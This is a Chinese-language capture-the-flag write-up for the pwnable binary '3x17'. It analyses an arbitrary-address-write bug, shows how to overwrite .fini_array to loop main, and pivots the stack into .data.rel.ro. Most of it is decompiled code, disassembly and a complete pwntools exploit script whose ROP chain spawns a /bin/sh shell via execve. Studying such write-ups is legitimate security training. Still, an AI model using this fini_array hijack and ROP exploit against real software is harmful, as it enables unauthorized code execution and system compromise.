1 程序分析
只开了 NX,但是其实也开了 Canary
1 2 3 4 5 6 7
| (pwn) secreu@Vanilla:~/code/pwnable/3x17$ checksec --file=3x17 [*] '/home/secreu/code/pwnable/3x17/3x17' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
初步运行一下是让我们输入一个 addr,再输入 data
1 2 3
| (pwn) secreu@Vanilla:~/code/pwnable/3x17$ ./3x17 addr:123 data:123
|
IDA 进去是 start 函数,因为去除了符号表,读起来不太方便,但是主要流程就是调用 __libc_start_main 执行 main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| oid __fastcall __noreturn start(__int64 a1, __int64 a2, int a3) { __int64 v3; int v4; __int64 v5; _UNKNOWN *retaddr;
v4 = v5; v5 = v3; sub_401EB0( (unsigned int)sub_401B6D, v4, (unsigned int)&retaddr, (unsigned int)sub_4028D0, (unsigned int)sub_402960, a3, (__int64)&v5); __halt(); }
|
从 main 可以看出其实开了 Canary。存在 .bss 段上的 byte_4B9330 自加,若其为 1,就输出 “addr:”,读取 0x18 字节到 buf 中,做一些处理得到一个地址 v1,再输出 “data:”,读取 0x18 字节到 v1 中。
很明显,这是一个任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| __int64 sub_401B6D() { __int64 result; char *v1; char buf[24]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { sub_446EC0(1u, "addr:", 5uLL); sub_446E20(0, buf, 0x18uLL); v1 = (char *)(int)sub_40EE70((__int64)buf); sub_446EC0(1u, "data:", 5uLL); sub_446E20(0, v1, 0x18uLL); result = 0LL; } if ( __readfsqword(0x28u) != v3 ) sub_44A3E0(); return result; }
|
然后看 v1 是怎么得到的,sub_40EE70 函数及其之后的调用,直接因为 sub_40FD30 实在太长就不放出来了,直接 GPT 分析,发现 sub_40EE70 其实就是 atoll,将十进制数转换成 8 字节地址
1 2 3 4 5 6 7 8 9
| __int64 __fastcall sub_40EE70(__int64 a1) { return sub_40FCE0(a1, 0LL, 10LL); }
__int64 __fastcall sub_40FCE0(__int64 a1, __int64 a2, __int64 a3) { return sub_40FD30(a1, a2, a3, 0LL, __readfsqword(0xFFFFFFA8)); }
|
所以我们的 main 函数功能很明确了,我们输入一个十进制数,他会解析成一个地址,然后可以往里面写入 0x18 字节数据
2 漏洞利用
2.1 劫持执行流
但是我们如何利用这个任意地址写?没有栈地址也没有完整的 libc,文件里也没有 “/bin/sh” 字符串
了解 main 函数的启动过程,知道 __libc_start_main 的调用顺序是 __libc_csu_init -> main -> __libc_csu_fini
__libc_csu_init 会顺序执行 _init_array 中存放的函数,即 _init_array[0]、_init_array[1]、…、_init_array[n]
__libc_csu_fini 则逆序执行 _fini_array 中存放的函数,即 _fini_array[n]、_fini_array[n-1]、…、_fini_array[0]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| __int64 __fastcall sub_4028D0(unsigned int a1, __int64 a2, __int64 a3) { __int64 result; signed __int64 v4; __int64 i;
result = init_proc(); v4 = &off_4B40F0 - funcs_402908; if ( v4 ) { for ( i = 0LL; i != v4; ++i ) result = funcs_402908[i](); } return result; }
void sub_402960() { signed __int64 v0;
if ( (&unk_4B4100 - (_UNKNOWN *)&off_4B40F0) >> 3 ) { v0 = ((&unk_4B4100 - (_UNKNOWN *)&off_4B40F0) >> 3) - 1; do (*(&off_4B40F0 + v0--))(); while ( v0 != -1 ); } term_proc(); }
|
_init_array 和 _fini_array 如下,如果我们把 _fini_array 中的函数地址改成我们指定的地址,就可以劫持执行流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| .init_array:00000000004B40E0 ; =========================================================================== .init_array:00000000004B40E0 .init_array:00000000004B40E0 ; Segment type: Pure data .init_array:00000000004B40E0 ; Segment permissions: Read/Write .init_array:00000000004B40E0 _init_array segment qword public 'DATA' use64 .init_array:00000000004B40E0 assume cs:_init_array .init_array:00000000004B40E0 ;org 4B40E0h .init_array:00000000004B40E0 funcs_402908 dq offset sub_401B40 ; DATA XREF: sub_4028D0+2↑o .init_array:00000000004B40E0 ; sub_4028D0+B↑o ... .init_array:00000000004B40E8 dq offset sub_4015B0 .init_array:00000000004B40E8 _init_array ends .init_array:00000000004B40E8 .fini_array:00000000004B40F0 ; =========================================================================== .fini_array:00000000004B40F0 .fini_array:00000000004B40F0 ; Segment type: Pure data .fini_array:00000000004B40F0 ; Segment permissions: Read/Write .fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o .fini_array:00000000004B40F0 ; sub_402960+8↑o .fini_array:00000000004B40F8 dq offset loc_401580 .fini_array:00000000004B40F8 _fini_array ends .fini_array:00000000004B40F8
|
_fini_array 只有 2 个 8 字节大小,我们可以填入 __libc_csu_fini 和 main 地址,这样就能理论上实现这 2 个函数的循环调用,即 __libc_csu_init -> main -> __libc_csu_fini -> main -> __libc_csu_fini -> ...
也就是理论上无数次的任意地址写,但是还需注意全局变量 byte_4B9330 为 1 时才会执行任意地址写,由于 byte_4B9330 每一次执行 main 都会自增一次,byte 最大为 0xff,之后会溢出到 0,再自增为 1,所以实际上并不太影响我们做多次任意地址写
1 2 3 4 5 6
| fini_array = 0x4B40F0 main_addr = 0x401B6D libc_csu_fini = 0x402960
while 1: aaw(fini_array, p64(libc_csu_fini) + p64(main_addr))
|
2.2 栈迁移
解决了控制执行流的问题,但是我们执行什么呢?我们要解决的首要问题是要有地方存放 ROP 链,以及如何跳到上面执行
仔细看 __libc_csu_fini 开头将 0x4B40F0 赋值给 rbp,也就是 _fini_array 的地址,该函数使用 rbp 作为基址索引 _fini_array 中的函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| .text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o .text:0000000000402960 ; __unwind { .text:0000000000402960 push rbp .text:0000000000402961 lea rax, unk_4B4100 .text:0000000000402968 lea rbp, off_4B40F0 .text:000000000040296F push rbx .text:0000000000402970 sub rax, rbp .text:0000000000402973 sub rsp, 8 .text:0000000000402977 sar rax, 3 .text:000000000040297B jz short loc_402996 .text:000000000040297D lea rbx, [rax-1] .text:0000000000402981 nop dword ptr [rax+00000000h] .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j .text:0000000000402988 call qword ptr [rbp+rbx*8+0] .text:000000000040298C sub rbx, 1 .text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 jnz short loc_402988 .text:0000000000402996 .text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j .text:0000000000402996 add rsp, 8 .text:000000000040299A pop rbx .text:000000000040299B pop rbp .text:000000000040299C jmp _term_proc .text:000000000040299C ; } // starts at 402960 .text:000000000040299C sub_402960 endp
|
如果我们在这个时候不构造新的栈帧,而是直接 leave ; ret 就会将 rsp 赋值为 0x4B40F0 + 0x10 = 0x4B4100,这个恰好地址对应 .fini_array 节下面的 .data.rel.ro 节,虽然说看名字该节是 read only,但是 readelf 告诉我们其标志位是 WA,也就是这个节在运行时会被加载到内存,并且可写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| (pwn) secreu@Vanilla:~/code/pwnable/3x17$ readelf -S ./3x17 There are 29 section headers, starting at offset 0xb94e8:
Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .note.ABI-tag NOTE 0000000000400200 00000200 0000000000000020 0000000000000000 A 0 0 4 [ 2] .note.gnu.bu[...] NOTE 0000000000400220 00000220 0000000000000024 0000000000000000 A 0 0 4 [ 3] .rela.plt RELA 0000000000400248 00000248 0000000000000228 0000000000000018 AI 0 19 8 [ 4] .init PROGBITS 0000000000401000 00001000 0000000000000017 0000000000000000 AX 0 0 4 [ 5] .plt PROGBITS 0000000000401018 00001018 00000000000000b8 0000000000000000 AX 0 0 8 [ 6] .text PROGBITS 00000000004010d0 000010d0 000000000008b360 0000000000000000 AX 0 0 16 [ 7] __libc_freeres_fn PROGBITS 000000000048c430 0008c430 0000000000001efa 0000000000000000 AX 0 0 16 [ 8] .fini PROGBITS 000000000048e32c 0008e32c 0000000000000009 0000000000000000 AX 0 0 4 [ 9] .rodata PROGBITS 000000000048f000 0008f000 000000000001937c 0000000000000000 A 0 0 32 [10] .stapsdt.base PROGBITS 00000000004a837c 000a837c 0000000000000001 0000000000000000 A 0 0 1 [11] .eh_frame PROGBITS 00000000004a8380 000a8380 000000000000a608 0000000000000000 A 0 0 8 [12] .gcc_except_table PROGBITS 00000000004b2988 000b2988 00000000000000a9 0000000000000000 A 0 0 1 [13] .tdata PROGBITS 00000000004b40c0 000b30c0 0000000000000020 0000000000000000 WAT 0 0 8 [14] .tbss NOBITS 00000000004b40e0 000b30e0 0000000000000040 0000000000000000 WAT 0 0 8 [15] .init_array INIT_ARRAY 00000000004b40e0 000b30e0 0000000000000010 0000000000000008 WA 0 0 8 [16] .fini_array FINI_ARRAY 00000000004b40f0 000b30f0 0000000000000010 0000000000000008 WA 0 0 8 [17] .data.rel.ro PROGBITS 00000000004b4100 000b3100 0000000000002df4 0000000000000000 WA 0 0 32 [18] .got PROGBITS 00000000004b6ef8 000b5ef8 00000000000000f0 0000000000000000 WA 0 0 8 [19] .got.plt PROGBITS 00000000004b7000 000b6000 00000000000000d0 0000000000000008 WA 0 0 8 [20] .data PROGBITS 00000000004b70e0 000b60e0 0000000000001af0 0000000000000000 WA 0 0 32 [21] __libc_subfreeres PROGBITS 00000000004b8bd0 000b7bd0 0000000000000048 0000000000000000 WA 0 0 8 [22] __libc_IO_vtables PROGBITS 00000000004b8c20 000b7c20 00000000000006a8 0000000000000000 WA 0 0 32 [23] __libc_atexit PROGBITS 00000000004b92c8 000b82c8 0000000000000008 0000000000000000 WA 0 0 8 [24] .bss NOBITS 00000000004b92e0 000b82d0 0000000000001718 0000000000000000 WA 0 0 32 [25] __libc_freer[...] NOBITS 00000000004ba9f8 000b82d0 0000000000000028 0000000000000000 WA 0 0 8 [26] .comment PROGBITS 0000000000000000 000b82d0 0000000000000023 0000000000000001 MS 0 0 1 [27] .note.stapsdt NOTE 0000000000000000 000b82f4 00000000000010c0 0000000000000000 0 0 4 [28] .shstrtab STRTAB 0000000000000000 000b93b4 0000000000000134 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), R (retain), D (mbind), l (large), p (processor specific)
|
所以我们可以事先在 0x4B4100 布置 ROP 链,然后在 _fini_array 做一次 leave ; ret 从而将 rsp 迁移到 0x4B4100,执行 ROP
3 利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import *
elf = ELF('./3x17')
context(os=elf.os, arch=elf.arch, log_level='debug')
io = process(elf.path)
def aaw(addr: int, data: bytes): io.sendafter(b"addr:", str(addr).encode()) io.sendafter(b"data:", data)
fini_array = 0x4B40F0 main_addr = 0x401B6D libc_csu_fini = 0x402960
pop_rdi_ret = 0x401696 pop_rsi_ret = 0x406c30 pop_rdx_ret = 0x446e35 pop_rax_ret = 0x41e4af syscall = 0x4022b4 leave_ret = 0x401c4b
aaw(fini_array, p64(libc_csu_fini) + p64(main_addr))
aaw(fini_array + 0x10, p64(pop_rdi_ret) + p64(fini_array + 0x58)) aaw(fini_array + 0x20, p64(pop_rsi_ret) + p64(0)) aaw(fini_array + 0x30, p64(pop_rdx_ret) + p64(0)) aaw(fini_array + 0x40, p64(pop_rax_ret) + p64(59)) aaw(fini_array + 0x50, p64(syscall)) aaw(fini_array + 0x58, b"/bin/sh\x00")
aaw(fini_array, p64(leave_ret))
io.interactive()
|